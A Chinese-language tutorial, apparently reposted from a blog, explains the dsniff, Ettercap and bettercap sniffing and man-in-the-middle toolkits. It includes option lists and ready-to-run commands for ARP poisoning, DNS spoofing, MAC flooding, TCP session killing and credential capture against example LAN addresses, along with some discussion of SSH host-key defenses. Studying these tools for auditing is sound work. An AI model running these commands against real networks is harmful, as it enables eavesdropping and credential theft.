您的位置:首页 > 理论基础 > 计算机网络

dsniff 和 Ettercap 和 bettercap 详解 - 网络嗅探工具包

2017-06-12 14:22 330 查看
官网:https://www.monkey.org/~dugsong/dsniff/

linux 嗅探工具 Dsniff 详解:https://wenku.baidu.com/view/61a178886529647d272852a9.html

简介

        Dsniff是一个著名的网络嗅探工具包。高级口令嗅探工具。综合性的网络嗅探工具包。Dsniff其开发者DugSong早在1999年12月,以密歇根大学CITI研究室( CenterforInformationTechnologyIntegration)的研究成果为基础, 开发了这个后来具有很大影响力的网络安全工具包。 DugSong开发Dsniff的本意是揭示网络通信的不安全性, 借助这个工具包, 网络管理员可以对自己的网络进行审计, 也包括渗透测试。 但万事总有其两面 性, Dsniff所带来的负面作用也是“巨大”的,首先它是可以自由获取的,任何拥有这个工具包的人都可能做“非正当”的事,其次,
Dsniff里面的某 些工具,充分揭示了一些安全协议的“不安全性”, 例如针对SSH1和SSL的MITM( Man-In-The-Middle) 攻击工具—SSHmitm和 Webmitm。 SSH1和SSL都是建立网络通信加密通道的机制,向来被认为是很安全的,但人们在具体使用时,往往因为方便性上的考虑而忽视了某些环 节,造成实事上的不安全。 所以说, 最大的不安全性, 往往并不在于对安全的一无所知, 而在于过于相信自己的安全。

        DubSong在2000年12月发布了Dsniff的v2.3版本,该版本支持 OpenBSD、 Linux、 Solaris系统平台。目前,最新版本是2001年3月发布的 v2.4b1的 Beta版。 Dsniff的下载网址:http://monkey.org/~dugsong/dsniff/ 。除了针对Unix系统的版本,从网上也可以得到Windows平台上运行的Dsniff早期版

dsniff工具介绍

dsniff是纯粹被动的进行网络活动监视的工具,包括: dsniff、filesnarf、mailsnarf 、msgsnarf、urlsnarf、webspy针对SSH和SSL的MITM ( Man-In-The-Middle)“攻击”工具,包括sshmitmwebmitm发起主动欺骗的工具,包括:arpspoof、 dnsspoof、 macof其它工具,包括tcpkill、
tcpnice


Dsniff包中的工具基本上可以分为四类:
1. 纯粹被动地进行网络活动监视的工具,包括:dsniff、filesnarf、mailsnarf、msgsnarf、urlsnarf、webspy、sshow。
2. 针对SSH和SSL的MITM“攻击”工具,包括sshmitm和webmitm。
3. 发起主动欺骗的工具,包括:arpspoof、dnsspoof、macof。
4. 其它工具,包括tcpkill、tcpnice。


dsniff

dsniff是一个密码侦测工具, 他能够自动分析端口上收到的某些协议的数据包, 并获取相应的密码。 dnisff支持的协议有 FTP,Telnet, SMTP,HTTP,POP,poppass, NNTP,IMAP,SNMP, LDAP, Rlogin, RIP, OSPF, PPTP MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec
pcAnywhere, NAI Sniffer,MicrosoftSMB,OracleSQL*Net,SybaseandMicrosoftSQL。

用法:
dsniff [-c] [-d] [-m] [-n] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]]]  [-r|-w
savefile] [expression]

选项
-c     打开半双工TCP流,允许在使用 arpspoof时进行正确的嗅探操作
-d     启动调试模式;
-m     使用dsniff.magic文件,通过在magic文件中定义的特征,尝试自动判断协议
-n     不把 IP 地址解析成主机名
-i interface       指定网络接口
-p pcapfile        不是处理网络上所观察到的数据包的内容,而是处理给定捕获数据包的PCAP文件。
-s snaplen         对报文的前snaplen个字节进行嗅探,而不是默认的1024字节;.
-f services        以/etc/service格式从文件中加载触发器(也就是口令嗅探的服务类型);
-t trigger[,...]
使用格式 port/proto=service 来加载一个以逗号界定的触发器集(e.g. 80/tcp=http).
dsniff –t 21/tcp=ftp,23/tcp=telnet –m
-r savefile        从保存的文件中读取会话(-w 选项 可以保存会话到文件)
-w file            保存 会话 到文件中
expression         指定一个 tcpdump(8) filter expression 来让 sniff 选择要嗅探的流量.

在挂起的信号中,dsniff会将当前的触发器表转储到dsniff.services。

FILES
/usr/share/dsniff/dsniff.services
Default trigger table

/usr/share/dsniff/dsniff.magic
Network protocol magic

参见;另请参阅
arpspoof(8), libnids(3), services(5), magic(5)


filesnarf 和 mailsnarf 和 msgsnarf 和 urlsnarf 和 webspy 和 webspy

filesnarf 和 mailsnarf 和 msgsnarf 和 urlsnarf 和 webspy 和 webspy  使用方式都 差不多。可以 使用 man 查看具体使用。

FILESNARF(8)                System Manager's Manual               FILESNARF(8)

NAME
filesnarf - sniff files from NFS traffic

SYNOPSIS
filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]

DESCRIPTION
filesnarf  saves  files sniffed from NFS traffic in the current working
directory.

OPTIONS
-i interface  指定监听接口
-p pcapfile   处理捕获的 包文件
-v            "反转" 模式.  反转匹配,选中不匹配的文件.
pattern       指定正则表达式
expression    指定 一个要嗅探的流量的 tcpdump(8) 过滤表达式

SEE ALSO
dsniff(8), nfsd(8)


filesnarf

filesnarf 可以嗅探网络文件系统( NFS) 的流量, 并选定某个文件, 转储到本地当前工作目录。

Tcpdump 可用于嗅探NFS流量。Filesnarf 工具可以真正的接收被嗅探的文件,并在系统上对其重新配置。某人在任何时候在网络上通过NFS移动文件时,你都可以获得该文件的一个副本。

  同样可以使用-i选项来指定网络接口。

在命令行上,可以指定Tcpdump报文过滤器表达式,用于嗅探NFS流量,并且可以指定要匹配的文件模式

如:想嗅探 192.168.0.21上的mp3文件则
# filesnarf *.mp3 host 192.168.0.21


mailsnarf

milsnarf 可以嗅探 SMTP 和 POP 流量,并以Berkeley邮件格式输出e-mail消息,转储选定的邮件内容到本地。

msgsnarf

msgsnarf 可以嗅探聊天软件的聊天内容,包括 AOL,ICQ 2000, IRC, MSN Messenger, 或 YahooMessenger

urlsnarf

urlsnarf可以嗅探HTTP请求报文的内容,并以CLF(CommonLogFormat)通用日志格式输出。这种格式是许多Web服务器所使用的,例如IIS和Apache,事后可以很方便的用一些日志分析工具来分析记录结果。 Urlsnarf的工作方式就象这个工具箱中的其他嗅探程序一样,它是根据web url工作的。

它将自己从http流量中嗅探到的任何url存储到一个日志文件中,可以在以后对该日志文件进行分析。

它是查看在局域网上浏览信息的最简便方法。

webspy

webspy指定一个要嗅探的主机, 如果指定主机发送HTTP请求, 打开网页, webspy也会通过 netscape 浏览器在本地打开一个相同的网页。

即将嗅探到的来自某个客户端的URLs请求发送给本地浏览器显示,可以达到“实时”监视网络上HTTP活动的效果。 Dsniff中软件的最后一个工具,主要是通过指定lan上主机ip地址,Webspy是将嗅探从该主机发源的web流量。无论任何时候,只要从这台主机进入特定的一个url,Webspy都会在浏览器上加载相同的URL。

sshow

对嗅探到的SSH通信进行分析,解析其认证过程、交互会话的口令长度,以及命令行长度等信息。

SSH 中间人攻击 sshmitm 和 SSL 中间人攻击 webmitm

sshmitm

Dsniff还包含了大量mim窃取密码的方式,在这种方式下即使是ssl方式https 和ssh都是可以被中途截取的,非常的强大。当然这种方式仅仅用于同一个局域网中。

Sshmitm 是Dsniff自带的一个具有威胁的工具之一。如果你是在运行dnsspoof来伪造实际机器主机名,那么sshmitm可以重新定向到你的机器的ssh流量。因为它支持到ss1,所以这也是我们需要考虑把ssh升级到2的原因。

sshmitm是Dsniff自带的一个具有威胁的工具之一。首先通过dnsspoof伪造实际机器主机名将攻击目标主机的 SSH连接转到本地,那么 sshmitm可以截获来自主机的密钥,并获得被劫持连接中的所有信息解码,然后重新转发SSH流量到SSH服务器。sshmitm可以对某个 SSH会话发动 MITM( Monkey-In-The-Middle)攻击(注意,这里的Monkey是Dsniff包 readme文件中的解析, 而不是常见的Man, 这种区别实际上是没有“区别”, 也许就是因为Dsniff以猴子做为其标志的原因吧)。
通过 sshmitm, 攻击者可以捕获某

个SSH会话的登录口令,甚至可以“劫持”整个会话过程(攻击者在其主机上通过OpenSSL提供的代码生成伪造的证 书, 以欺骗目标主机, 使之相信就是有效的通信另一方, 结果是,攻击者主机成了SSH安全通道的中转站)。 目前, 对于SSH1, 这种MITM攻击已经构成了严重的威胁。 MITM并不是一个新的概念, 它是一种对认证及密钥交换协议进行攻击的有效手段。 通常, 在SSH会话中, 服务器首先会给客户端发送其公钥, 严 格来说, 这种密钥的交换和管理应该是基于X.509这种公钥基础设施( PKI)的,但因为PKI本身的复杂性导致真正应用了这种公钥管理机制的服务器非常
少,所以,通常情况下,服务器只是简单的自己生成密钥对,并将其中的公钥发送给客户端。客户端收到服务器的公钥后,必须独立验证其有效性。通常,使用 SSH的客户端会由sysadmin或其它账号来维护一个“密钥/主机名”的本地数据库,当首次与某个SSH服务器建立连接时,客户端可能被事先配制成自 动接受并记录服务器公钥到本地数据库中,这就导致可能发生MITM攻击。其实,建立加密的安全网络都存在一个基本的问题,无论如何,

某种程度上讲,加密通 道的初始化连接总是建立在一个存在潜在危险的网络之上的,如果密钥交换机制并不健全,或者是根本就被忽略了,那之后建立起来的加密通道也形同虚设了。按道 理讲, SSH之类的协议本身是没有问题的, 只要严格按照标准来建立加密及密钥交换管理机制( 例如PKI), 攻击者是根本不会有可乘之机的, 可问题就在于, 许多时候, 为了使用上的方便, “复杂”的保证技术就被人们抛之脑后了。 当然, 一种协议如果其可用性并不很强, 也许本身就是问题, 现在, SSH2较SSH1 已经有了较大改进。具体来说,
在某个SSH连接建立之初,如果客户端收到一个未知的服务器端公钥, OpenSSH会有下列配置处理方式:自动增加该公钥到本地数据库; 发出下面列出的警告消息,并询问用户是添加该公钥还是放弃连接;

------------------------------------------------------------------------

--WARNING:HOSTIDENTIFICATIONHASCHANGED!--

------------------------------------------------------------------------

ITISPOSSIBLETHATSOMEONEISDOINGSOMETHINGNASTY!

Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that the host-key has just been changed. Please contact your system administrator. 

拒绝接受。如果客户端对未知公钥的验证被取消了 ( 或者客户端配置本身已经旁路掉了这个过程), 或者如果客户端保存已知主机CA证书的缓存被“毒害”了, 就 很有可能导致攻击者发起MITM攻击。从根本上讲,要防止MITM方式的攻击,用户自身加强安全措施才是关键, 例如, 密钥的初始交换也许可以换做其它方式 ( 比如软盘), 严格管理本地的证书列表数据库, 对于出现的告警提示, 应该仔细甄别, 防止第三方的欺骗行为

webmitm

webmitm与sshmitm类似,也需要dnsspoof的“配合”,不同的是,webmitm“劫持”的是HTTP和HTTPS会话过程,捕获SSL的加密通信

arpspoof

arp毒化的原理,简单的说就是伪造MAC地址与IP的对应关系,导致数据包由中间人转发出去。

详细介绍请看:http://www.2cto.com/Article/201207/144532.html

arp 毒化有双向(remote)和单向(oneway)两种方式。

双向方式将对两个目标的ARP缓存都进行毒化,对两者之间的通信进行监听。

单向方式只会监听从第一个目标到第二个目标的单向通信内容。

一般来说,我们会选择使用双向欺骗的方式来获取所有的数据包进行嗅探分析。

若目标主机开启了ARP防火墙怎么办?直接欺骗会引发报警且无效果。这时就是单向ARP毒化大显神威的时候了。只要路由器没有对IP和MAC进行绑定,我们就可以只欺骗路由器,使从路由器发给目标主机的数据包经过中间人,完成我们的攻击。

root@kali:~# arpspoof -h
Version: 2.4
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

名字
arpspoof - 在交换式网络截获包
概要
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
描述
arpspoof 通过伪造ARP响应,重定向局域网中一个目标主机(或所有主机)上的数据包 到 局域网中的另一个主机上。
这在交换式网络上嗅探流量是一个非常有效的方法
注意:内核IP转发(或一个实现相同功能的用户程序,如 fragrouter(8))必须提前打开。

选项
-i 网卡接口        指定使用的网卡接口

-c own|host|both
指定在恢复arp配置时使用的硬件地址;在清理时,可以用自己的地址和主机的地址发送数据包。
用一个假的硬件地址发送数据包可能会破坏与某些switch/ap/bridge 配置的连接,
但是它比使用自己的地址更可靠,这是arpspoof事后清理的默认方式。

-t target    指定要 ARP毒化 的主机(如果没有指定,默认局域网所有主机). 可以重复指定多个主机。
-r           毒化两个主机(主机和目标)以捕获两个方向的流量。(只在与 -t 联合使用才有效)
host         指定你希望拦截数据包的主机(通常是本地网关)。

参见;另请参阅
dsniff(8), fragrouter(8)

// 使用ARP毒化,重定向受害者的流量传送给攻击者。
root@bt:~# arpspoof -i eth0 -t 192.168.1.5 192.168.1.1

// 第二个ARP毒化攻击使网关的数据重定向到攻击者的机器(流量由网关到攻击者再到受攻击者)
root@bt:~# arpspoof -i eth0 -t 192.168.1.1  192.168.1.2

root@bt:~# arpspoof -i eth0 -t 192.168.1.5 192.168.1.1
root@bt:~# arpspoof -i eth0 -t 192.168.1.1 192.168.1.5

arpspoof 启用 arp欺骗,将自己网卡的IP地址伪装成指定IP地址的MAC持续不断的发送假的ARP响应包给一台或多台主机,以“毒害”其ARP缓存表。一旦成功,即可以用别的嗅探工具来“接收”发送到本地的数据包。与Ettercap不同的是, arpspoof并不进行真正的“嗅探”,它只是简单的进行ARP欺骗,本地主机 必须启动内核的IP Forwarding功能(或者使用fragrouter这样的工具),否则,所有“转向”发到本地的数据包就如同进了黑洞, 正常的网络通信将无法进行, 而一旦启动了本地的IP
Forwarding,内核将自动对本地收到的目的IP却是别处的数据包进行转发,正常的通信自然可以进行。这样,就可以进行后续的工作,包括分析嗅 探得到的数据包、修改数据包中的某些信息以重新转发等等。

Ettercap则不光进行ARP欺骗,它还要做后续的许多工作,包括分析嗅探得到的数据包、修改数据包中的某些信息以重新转发等等。

在Linux中,缺省是禁止IP Forwarding的,可以使用下面命令启动它:

启用IP转发,输入下面命令(PS:利用Linux主机的路由功能):

root@bt:~# cat /proc/sys/net/ipv4/ip_forward
root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@bt:~# cat /proc/sys/net/ipv4/ip_forward


或者 修改下面文件

修改       #vi /etc/sysctl.conf          修改 net.ipv4.ip_forward=1
修改后运行 #sysctl –p                   命令使得内核改变立即生效;


一旦启动了本地的 IP Forwarding,内核将自动对本地收到的目的IP是别处的数据包进行转发,

(同时向数据包的源地址发送ICMP重定向报文, 当然, 由于启用了ARP欺骗, 这个重定向报文是不起作用的)。

arpspoof [-i interface] [-t target] host    如 果不指定tagget则向网络中所有的主机发送欺骗



dnsspoof

root@kali:~# dnsspoof -h
Version: 2.4
用法: dnsspoof [-i interface] [-f hostsfile] [expression]

描述
dnsspoof启用DNS欺骗,如果dnsspoof嗅探到局域网内有DNS请求数据包,它会分析其内容,并用伪造的DNS响应包来回复请求者。
如果是请求解析某个域名,dnsspoof会让域名重新指向另一个IP地址(黑客所控制的主机),
如果反向IP指针解析,也会返回一个伪造的域名.

在dnsspoof的命令选项中,可以指定一个主机列表文件,文件格式与/etc/hosts相同,
如果不指定该文件,dnsspoof会返回本地的IP给域名解析请求者。

选项
-i interface    指定使用的网卡
-f hostsfile    指定要欺骗的网址。如果不指定hostsfile,将返回本机的IP地址给攻击者
expression      指定一个tcpdump(8)过滤器表达式来选择要嗅探的流量。就是指定一个Tcpdump准则 的 包过滤

文件
/usr/share/dsniff/dnsspoof.hosts
Sample hosts file.

参见;另请参阅
dsniff(8), hosts(5)   // man 8 dsniff   或者  man 5 hosts


root@bt:#dnsspoof -i eth0 -f /usr/h22.hosts

dnsspoof [-i interface] [-f hostsfile] [expression]   这里-f 可以指定主机列表文件,文件格式与/usr/local/lib/dnsspoof.hosts相同,如果不指定该文件,dnsspoof会返回本地的
IP给域名解析请求者



这里本地主机会抢先代替DNS服务器来相应查询,前提是本地主机先回答DNS查询,如果因为 网络问题,DNS服务器先发送了应答,DNS欺骗就不能生效了



macof

macof 用来进行 MAC flooding,可以用来使交换机的MAC表溢出,对于以后收到的数据包以广播方式发送。

注意:在进行MAC泛洪之前就存在于交换机MAC表中的条目不会被覆盖,只能等到这些条目自然老化

在本地网络中发送大量的随机MAC地址的数据包,可以指定源IP、目的IP、源端口、目的端口,

以MAC洪水的方式来导致某些交换机丧失“交换”能力,以达到共享式嗅探的目的。

NAME
macof - 用随机 MAC 地址 洪泛 交换式局域网络

用法
macof [-i interface] [-s src] [-d dst] [-e tha] [-x sport] [-y dport]
[-n times]

选项
-i interface    指定发送的网卡接口
-s src      指定源 IP 地址
-d dst      指定目的 IP 地址
-e tha      指定目标硬件地址
-x sport    指定 TCP 源端口
-y dport    指定 TCP 目的端口
-n times    指定发送包 的 个数

任何未指定的选项的值都是随机生成的。

参见;另请参阅
dsniff(8)

macof [-i interface] [-ssrc] [-ddst] [-e tha]
[-xsport] [-ydport] [-n times]



tcpkill

tcpkill能够切断指定的TCP会话连接,主要是基于TCP的三次握手过程。 中断特定的TCP连接。

root@kali:~# tcpkill -h
Version: 2.4
Usage: tcpkill [-i interface] [-1..9] expression

NAME
tcpkill - kill TCP connections on a LAN

选项
-i interface    指定监听接口
-1...9         指定在杀死连接时使用的蛮力的程度。
为了在移动的接收窗口中找到一个RST,快速连接可能需要一个更高的数字。默认是3。
expression     指定一个tcpdump(8)过滤器表达式来选择要杀死的连接

SEE ALSO
dsniff(8), tcpnice(8)






这里,当tcpkill检测到两边的TCP连接后,会同时想两边(冒充对方)发送tcp reset报文,重置连接。

tcpnice

tcpnice能够通过在添加活动的流量,降低指定的LAN上的TCP连接的速度

tcpnice [-I] [-iinterface] [-nincrement] expression   这里的-n后面可以跟1-20,代表降低的速度,1为原速,20为最低



其它交换网络嗅探器

Ettercap

官网:http://www.ettercap-project.org

Ettercap简要原理介绍以及使用说明:http://www.2cto.com/article/201301/183322.html

Ettercap使用记录之一 、二、三:http://www.cnblogs.com/lsbs/p/3842679.html 

man ettercap:https://linux.die.net/man/8/ettercap



用法: ettercap [选项] [目标1] [目标2]

目标写法:(可以查看 man ettercap 获取更详细信息)
目标写法格式是:  MAC/IPs/PORTs   。依照这个规则,我们把目标可以精确到特定的主机和端口上。MAC、IP、和PORT为三个条件,为空代表ANY。
"//80"即表示对任意MAC、任意IP上的80端口进行嗅探。一般来说,MAC部分留空,除非你愿意去手动输入那一长串的MAC地址。因此,我们可以只用IP部分来确定目标主机。

注意:如果 IPv6 启用,目标是 MAC/IPs/IPv6/PORTs 这种形式。 即 mac地址,ip地址,端口号中间用 "/" 符号隔开,留空不写表示 “ANY”,即所有。

当IP有多个的时候,可以用英文","分隔不同的C段ip。可以用"-"表示连续的ip。可以用";"分隔不同表达形式的ip。
举例如下:"10.0.0.1-5;10.0.1.33" 表示 ip 10.0.0.1, 2, 3, 4, 5 和 10.0.1.33
端口部分也有类似的写法,看例子:"20-25,80,110" 表示 20, 21, 22, 23, 24, 25, 80 和 110

例如:
/192.168.1.1/                  表示 192.168.1.1 的所有端口号
aa:bb:cc:dd:ee:ff//80          表示 aa:bb:cc:dd:ee:ff 的80端口.

其中多个mac地址用英文符号分号 ';' 隔开。
多个ip地址和端口号可以用符号 '-' 表示连续 和 英文符号分号 ';' 隔开;
e.g.
"10.0.0.1-5;10.0.1.33"                    表示 10.0.0.1, 2, 3, 4, 5 和 10.0.1.33
"20-25,80,110"                            表示 20, 21, 22, 23, 24, 25, 80 和 110
/192.168.1.100-120;192.168.2.130/         表示 /192.168.1.100,101,102,103,~~120;192.168.12.130/

这两个目标是为了过滤从一个到另一个之间的流量,反之亦然(因为连接是双向的)。
"//80"                                    表示任意MAC地址,任意 IP ,但是端口是80 的目标。
"/10.0.0.1/"                              表示任意 MAC地址,IP是10.0.0.1,任意端口 的 目标
"//"                                      表示 "子网中所有主机"。

注意:
可以在命令行用 -R 选项 反向 匹配 目标. So if you want to sniff
如果要嗅探除了10.0.0.1目标的所有进出流量。可以这样写:"./ettercap -R /10.0.0.1/"

注意:
目标也就是对局域网初始扫描扫描的主机。你可以通过netmask来限制只扫描网络中的一部分主机。
结果是扫描两部分目标后后并的结果。还记得没有指定目标就意味着“没有目标”,但是指定“//”意味着“子网中的所有主机”。

嗅探 和 攻击 选项:
-M, --mitm <method:args>    中间人攻击,即两台终端间进行欺骗。(后面跟的参数可以参看 man ettercap)
-o, --only-mitm             不嗅探,只执行中间人攻击
-b, --broadcast             嗅探广播数据包
-B, --bridge <IFACE>        使用桥接嗅探 (需要2个网络接口)。即 双网卡之间进行欺骗
-p, --nopromisc             不把网络接口设置成混杂模式
-S, --nosslmitm             不伪造SSL证书。即不使用ssl中间人攻击
-u, --unoffensive           不转发数据包
-r, --read <file>           从 pcapfile <file> 读取数据
-f, --pcapfilter <string>   set the pcap filter <string>
-R, --reversed              反转目标匹配。(即 匹配所有和目标不匹配的)
-t, --proto <proto>         设置要嗅探的协议(默认嗅探所有)
--certificate <file>    ssl中间人攻击使用指定的 证书文件
--private-key <file>    ssl中间人攻击使用指定的 私钥文件

运行界面类型:
-T, --text                  文本模式显示
-q, --quiet            安静模式,不显示嗅探数据
-s, --script <CMD>     加载脚本
-C, --curses                curses-UI模式
-D, --daemon                守护模式(后台模式)(no GUI)
-G, --gtk                   GTK-UI模式

日志记录选项:
-w, --write <file>          把嗅探到的数据写入到 pcapfile <file>
-L, --log <logfile>         把所有数据包保存<logfile>日志文件中
-l, --log-info <logfile>    仅仅记录被动信息到这个<logfile>日志文件中
-m, --log-msg <logfile>     将所有的消息记录到这个<logfile>日志中。
-c, --compress              使用gzip压缩日志文件

可视化选项:
-d, --dns                   把IP地址解析成主机名
-V, --visual <format>       显示方式
-e, --regex <regex>         使用一个正则表达式
-E, --ext-headers           为每个pck打印扩展标题
-Q, --superquiet            超级安静模式,啥信息都不显示,只保存

LUA脚本 选项:
--lua-script <script1>,[<script2>,...]     使用逗号分割lua脚本
--lua-args n1=v1,[n2=v2,...]               使用逗号分割传给lua脚本的参数

通用基本选项:
-i, --iface <iface>         指定网络接口
-I, --liface                显示所有网络接口
-Y, --secondary <ifaces>    后备网卡
-n, --netmask <netmask>     在网络接口上强制使用这个 <netmask> 网络掩码
-A, --address <address>     ip地址,针对一网卡多ip的情况
-P, --plugin <plugin>       载入插件
-F, --filter <file>         载入过滤器文件 (content filter)
-z, --silent                不进行arp毒化和主机扫描
-6, --ip6scan               在链路上发送 ICMPv6 探测和发现 IPv6 节点
-j, --load-hosts <file>     从文件中载入主机列表
-k, --save-hosts <file>     保存主机列表到文件中
-W, --wifi-key <wkey>       载入 WIFI 密码(wep或wpa)
-a, --config <config>       载入并使用一个非默认配置文件

标准选项:
-v, --version               打印版本信息并退出
-h, --help                  显示帮助信息

Ettercap有两种运行方式,UNIFIED 和 BRIDGED。

其中,UNIFIED的方式是以中间人方式嗅探;BRIDGED方式是在双网卡情况下,嗅探两块网卡之间的数据包。

UNIFIED方式的大致原理:

UNIFIED方式是同时欺骗A和B,把原本要发给对方的数据包发送到第三者C上,然后由C再转发给目标。
这样C就充当了一个中间人的角色。因为数据包会通过C那里,所以C可以对数据包进行分析处理,导致了原本只属于A和B的信息泄露给了C。
UNIFIED方式将完成以上欺骗并对数据包分析。
Ettercap劫持的是A和B之间的通信,在Ettercap眼中,A和B的关系是对等的。


BRIDGED方式原理:

BRIDGED方式 有点像笔记本电脑上有两个网卡,一个有线网卡一个无线网卡。可以将有线网卡的internet连接共享给无线网卡,这样笔记本就变成了一个无线ap。
无线网卡产生的所有数据流量都将传送给有线网卡。BRIDGED方式ettercap嗅探的就是这两块网卡之间的数据包。


一般而言,我们会使用UNIFIED方式。其运行参数为 -M(M是MITM的首字母,为中间人攻击的缩写)。

Ettercap,它相当于ARP病毒和密码嗅探界的瑞士军刀。通常在非互动模式中使用它,但是默认情况下它的交互界面非常友好,使用起来很方便。
如果我们的目标是网络上的所有主机,想要嗅探每个节点之间的所有传输,我们可以用下列命令: ettercap -T -q -M ARP // //
你应当谨慎的使用上面那段命令,因为如果把一个大网络中所有的传输都通过一台很慢的计算机的话,那么这很有可能使整个网络连接瘫痪。
可以找个替罪羊,来看看 Ip 地址为 192.168.1.1 的主机,我们可以使用如下命令:ettercap -T -q -M ARP /192.168.1.1/ //
如果192.168.1.1是网关,我们应该可以看到所有的输出传输。下面是这些命令行选项的功能:
-T    告诉Ettercap使用文字界面,我最喜欢这个选项,因为GUI模式太复杂了。
-q    让Ettercap安静些,换句话说就是少些冗长的文字报告。
-M    让Ettercap我们想要使用的MITM(人参与其中)方式,本例中是ARP病毒。


中间人攻击-ARP毒化:http://www.2cto.com/article/201207/144532.html

常见的参数组合:

#arp毒化eth0所在的网段,安静模式文本显示
ettercap -Tqi eth0 -M ARP // //

#监听10.0.0.1的ftp,ssh,telnet信息,并保存到本地
ettercap -Tzq /10.0.0.1/21,22,23  -w hack.pcap

#对192.168.1.120进行dns欺骗,使用默认网卡eth0,文本模式安静显示
ettercap -Tq -P dns_spoof -M arp /192.168.1.120/ //

#使用过滤并监听10.0.0.2在80端口的所有通信,安静模式文本显示,保存数据到本地
ettercap -Tqi eth0 -L sniffed_data -F filter.ef -M arp:remote /10.0.0.2/80 //

在控制台模式下(-T)不使用混杂模式(-p),你只会看到自己的通信。
ettercap -Tp

在控制台模式下(-T),不使用ARP初始化(-z),不显示数据包内容(-q安静模式),但是会显示用户名和密码和其他消息。
ettercap -Tzq

在控制台模式下(-T),加载主机列表(-j),对目标执行arp毒化中间人攻击(-M arp)
ettercap -T -j /tmp/victims -M arp /10.0.0.1-7/ /10.0.0.10-20/

在控制台模式下(-T),对整个局域网执行ARP毒化攻击(-M arp)
ettercap -T -M arp // //

在控制台模式下(-T),执行ARP双向欺骗(-M arp:remote)
ettercap -T -M arp:remote /192.168.1.1/ /192.168.1.2-10/

在控制台模式下(-T),不使用ARP初始化(-z),使用安静模式(-q),监听所有主机110端口(pop3协议端口)
ettercap -Tzq //110

在控制台模式下(-T),不进行ARP初始化(-z),使用安静模式(-q),监听目标10.0.0.1的21,22,23端口(FTP、SSH、TELNET)
ettercap -Tzq /10.0.0.1/21,22,23

打印输出可用插件列表。
ettercap -P list
ettercap局域网内DNS欺骗:http://www.cnblogs.com/lvchenfeng/p/5596572.html
强大的嗅探工具ettercap使用教程:http://www.yunsec.net/a/security/web/invasion/2012/0127/9982.html

bettercap 

bettercap 官网 DOC:https://www.bettercap.org/

Bettercap 使用指南:http://xiaix.me/bettercap-shi-yong-zhi-nan/

完整,模块化,轻量级,易扩展的MITM框架 – bettercap:http://www.freebuf.com/sectool/73287.html

_          _   _
| |__   ___| |_| |_ ___ _ __ ___ __ _ _ __
| '_ \ / _ \ __| __/ _ \ '__/ __/ _` | '_ \
| |_) |  __/ |_| ||  __/ | | (_| (_| | |_) |
|_.__/ \___|\__|\__\___|_|  \___\__,_| .__/
|_| v1.6.1b http://bettercap.org/ 
更多示例和帮助文档 https://bettercap.org/docs/ 
用法: bettercap [options]

主要选项:
-I, --interface IFACE            网卡接口名 - 默认: eth0
--use-mac ADDRESS            执行攻击前指定网卡的 MAC 地址.
--random-mac                 执行攻击前使用随机的 MAC 地址.
-G, --gateway ADDRESS            手动指定网关地址。如果不指定,则使用当前的网关地址
-T, --target ADDRESS1,ADDRESS2   目标 IP 地址,如果不指定,则目标就是所有的子网地址。
--ignore ADDRESS1,ADDRESS2   要忽略的 IP 地址。
--no-discovery               不要主动搜索主机,只使用当前的ARP缓存,默认为false。
--no-target-nbns             禁用目标NBNS主机名解析。
--packet-throttle NUMBER     秒数(可以是一个十进制数)在每个数据包之间等待发送的时间。
--check-updates              将检查是否有更新可用,然后退出。
-R, --rainbows                   彩虹的输出,因为这是一个非常有用的东西(requires the "lolize" gem to be installed)。
-h, --help                       显示可用的选项。

日志选项:
-O, --log LOG_FILE               将所有消息记录到一个文件中,如果没有指定日志消息将只会打印到shell中。
--log-timestamp              在每一行日志中启用时间戳,默认禁用
-D, --debug                      启用调试日志记录。
--silent                     废弃所有不是错误或警告的信息,默认为false.即只记录错误和警告日志。

欺骗选项:
-S, --spoofer NAME               使用欺骗模块。 可用的模块: NONE, ICMP, ARP, NDP 。 默认: IPv4 是 ARP, IPv6 是 NDP.
--no-spoofing                禁用欺骗。 等价于 --spoofer NONE.
--full-duplex                启用双工 MITM。这将使 bettercap 在 目标 和 路由器 之间进行双向中间人攻击
--kill                       这个 开关 使 目标连接 被杀死,而不是转发数据包.

嗅探选项:
-X, --sniffer                    启用 嗅探.
-L, --local                      Parse packets coming from/to the address of this computer ( 注意:  -X 必须设置 ), 默认false.
--sniffer-source FILE        载入 捕获的包 PCAP 文件( will enable sniffer ).
--sniffer-output FILE        保存 捕获的包 PCAP 到文件中 ( will enable sniffer ).
--sniffer-filter EXPRESSION  Configure the sniffer to use this BPF filter ( will enable sniffer ).
-P, --parsers PARSERS            Comma separated list of packet parsers to enable, '*' for all ( NOTE: Will set -X to true ), available: POST, PGSQL, IRC, MPD, REDIS, URL, WHATSAPP, SNMP, COOKIE, DICT, MYSQL, TEAMVIEWER, MAIL, SNPP, HTTPS, HTTPAUTH, NTLMSS, FTP, DHCP, RLOGIN, NNTP - default: *
--disable-parsers PARSERS    Comma separated list of packet parsers to disable ( NOTE: Will set -X to true )
--custom-parser EXPRESSION   Use a custom regular expression in order to capture and show sniffed data ( NOTE: Will set -X to true ).

代理选项:
TCP:

--tcp-proxy                  启用 TCP 代理 ( requires other --tcp-proxy-* options to be specified ).
--tcp-proxy-module MODULE    Ruby TCP proxy module to load.
--tcp-proxy-port PORT        Set local TCP proxy port, default to 2222 .
--tcp-proxy-upstream ADDRESS:PORT
Set TCP proxy upstream server address and port.
--tcp-proxy-upstream-address ADDRESS
Set TCP proxy upstream server address.
--tcp-proxy-upstream-port PORT
Set TCP proxy upstream server port.

UDP:

--udp-proxy                  启用 UDP 代理 ( requires other --udp-proxy-* options to be specified ).
--udp-proxy-module MODULE    Ruby UDP proxy module to load.
--udp-proxy-port PORT        Set local UDP proxy port, default to 3333 .
--udp-proxy-upstream ADDRESS:PORT
Set UDP proxy upstream server address and port.
--udp-proxy-upstream-address ADDRESS
Set UDP proxy upstream server address.
--udp-proxy-upstream-port PORT
Set UDP proxy upstream server port.
HTTP:

--proxy                      Enable HTTP proxy and redirects all HTTP requests to it, default to false.
--proxy-port PORT            Set HTTP proxy port, default to 8080.
